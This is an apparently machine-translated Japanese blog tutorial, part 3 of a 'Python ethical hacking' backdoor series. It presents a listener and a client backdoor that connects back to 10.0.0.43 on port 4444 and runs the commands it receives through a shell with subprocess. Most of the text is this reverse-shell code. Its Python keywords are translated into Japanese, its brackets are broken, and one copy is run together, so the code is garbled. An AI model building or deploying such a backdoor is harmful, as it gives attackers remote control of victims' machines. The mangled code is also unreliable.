Pythonの倫理的ハッキング - バックドア(3)

バックドアソケット

問題:

  • TCPはストリームベースです。
  • メッセージ/バッチの終了を識別することは困難。

解決:

  • メッセージは明確に定義されていることを確認します。
  • 送信し、方法が準拠受け取るプロトコルを実装します。
    • ヘッダ、メッセージのサイズを送ります。
    • 各メッセージのエンドツーエンド・オブ・メッセージマークを追加。
    • メッセージをシリアル化。

バックドアのシリアライズ

利点:

  • メッセージは明確に定義されたメッセージが不完全な場合、受信機が知っています。
  • (リスト、dicts ...等)のオブジェクトを転送するために使用することができます

実装:

  • JSONとピクルスは、一般的なソリューションです。
  • JSON(JavaScript Object Notation)は、多くのプログラミング言語で実装されています。
  • テキストなどのオブジェクトを表します。
  • クライアントとサーバ間でデータを転送する際に広く使われています。

 

 

 サーバーサイド - リスナーコード:

!は/ usr / binに/のenv pythonの
輸入ソケット
 インポートのJSON 


クラスのリスナー:
     デフ __init__ (自己、IP、ポート):
        リスナー = socket.socket(はsocket.AF_INET、socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET、ソケット。 SO_REUSEADDR、 1 
        listener.bind((IP、ポート))
        listener.listen(0)
        印刷" [+]着信接続を待機" 
        self.connection、アドレス = listener.accept()
         プリント[+]ガットからの接続" + STR(アドレス))

    デフ(自己、データをreliable_send):
        json_data = json.dumps(データ).encode()
        self.connection.send(json_data)

    デフ自己(reliable_receive):
        json_data = "" 
        しばらく真:
             試してください
                json_data = json_data + self.connection.recv(1024 ).decode()
                 の戻りjson.loads(json_data)
             を除くとValueError:
                 継続

    デフexecute_remotely(自己、コマンド):
        self.reliable_send(command.decode())
        リターンself.reliable_receive()

    defを実行します(自己):
         しばらく真:
            コマンド =入力(" >> " ).encode()
            結果 = self.execute_remotely(コマンド)
             印刷(結果)


my_listener =リスナー(" 10.0.0.43 "、 4444 
my_listener.run()

クライアント側 - バックドアコード:

は/ usr / binに/ ENVのpython!
輸入JSON
 輸入ソケット
 輸入サブプロセスの


クラスバックドア:
     デフ __init__ (自己、IP、ポート):
        self.connection = socket.socket(はsocket.AF_INET、socket.SOCK_STREAM)
        self.connection.connect( (IP、ポート))

    デフreliable_send(自己、データ):
        json_data = json.dumps(データ).encode()
        self.connection.send(json_data)

    デフ)(自己reliable_receive:
        json_data = "" 
        ながら真:
             試します
                json_data = json_data + self.connection.recv(1024 ).decode()
                 の戻りjson.loads(json_data)
             を除くとValueError:
                 継続

    デフexecute_system_command(自己、コマンド):
         リターン subprocess.check_output(コマンド、シェル= 真)は

    デフ実行します(自己):
         一方TRUE:
            コマンド = self.reliable_receive()
            command_result = self.execute_system_command(コマンド)
            self.reliable_send(command_result.decode())
        connection.close()


my_backdoor=バックドア(" 10.0.0.43 "、4444 
my_backdoor.run()

結果を実行します。

 

 

#!は/ usr / binに/ envをpythonimport jsonimport socketimportサブプロセス

クラスのバックドア:デフ__init __(自己、IP、ポート):self.connection = socket.socket(はsocket.AF_INET、socket.SOCK_STREAM)self.connection.connect((IP、ポート))
    デフ(自己、データをreliable_send):json_data = json.dumps(データ).encode()self.connection.send(json_data)
    デフ自己(reliable_receive):json_data = ""しばらく真:試してみてください。json_data = json_data + ValueErrorを除くself.connection.recv(1024).decode()の戻りjson.loads(json_data):継続
    デフexecute_system_command(自己、コマンド):リターンsubprocess.check_output(コマンド、シェル=真)
    デフ(自己)を実行します。しばらく真:コマンド= self.reliable_receive()command_result = self.execute_system_command(コマンド)self.reliable_send(command_result.decode())connection.close()

my_backdoor =バックドア( "10.0.0.43"、4444 )my_backdoor.run()

 

おすすめ

転載: www.cnblogs.com/keepmoving1113/p/11628693.html